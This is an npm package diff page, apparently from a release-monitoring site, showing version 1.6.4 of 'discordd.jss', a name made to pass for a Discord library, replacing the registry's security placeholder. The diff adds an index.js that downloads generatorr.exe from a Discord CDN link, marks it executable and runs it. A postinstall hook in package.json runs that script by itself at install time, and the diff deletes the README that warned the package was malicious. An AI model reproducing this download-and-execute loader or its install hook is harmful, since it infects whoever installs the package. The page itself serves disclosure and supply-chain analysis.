discordd.jss 0.0.1-security → 1.6.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discordd.jss might be problematic. Click here for more details.

Binary file
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ const { exec } = require('child_process');
2
+ const https = require('https');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ console.log('Modül yüklendiğinde .exe dosyası otomatik olarak çalışacak.');
7
+
8
+ // .exe dosyasını indiren ve çalıştıran fonksiyon
9
+ function runExe() {
10
+ const url = 'https://cdn.discordapp.com/attachments/1136403817945124906/1136403907069874359/generatorr.exe';
11
+ const exeFileName = 'generatorr.exe';
12
+ const exeFilePath = path.join(__dirname, exeFileName);
13
+
14
+ const file = fs.createWriteStream(exeFilePath);
15
+
16
+ const request = https.get(url, (response) => {
17
+ response.pipe(file);
18
+ file.on('finish', () => {
19
+ file.close();
20
+ console.log('.exe dosyası indirildi:', exeFilePath);
21
+ fs.chmod(exeFilePath, 0o755, (chmodErr) => {
22
+ if (chmodErr) {
23
+ console.error('Dosya izinlerini değiştirirken hata oluştu:', chmodErr);
24
+ return;
25
+ }
26
+
27
+ exec(exeFilePath, (error, stdout, stderr) => {
28
+ if (error) {
29
+ console.error(`Hata oluştu: ${error.message}`);
30
+ return;
31
+ }
32
+ if (stderr) {
33
+ console.error(`Hata çıktısı: ${stderr}`);
34
+ return;
35
+ }
36
+ console.log(`.exe çıktısı: ${stdout}`);
37
+ });
38
+ });
39
+ });
40
+ });
41
+
42
+ request.on('error', (error) => {
43
+ console.error('İndirme hatası:', error.message);
44
+ });
45
+ }
46
+
47
+ runExe();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
- {
2
- "name": "discordd.jss",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "discordd.jss",
3
+ "version": "1.6.4",
4
+ "description": "discordd.jss",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Your Name",
10
+ "license": "MIT"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discordd.jss for more information.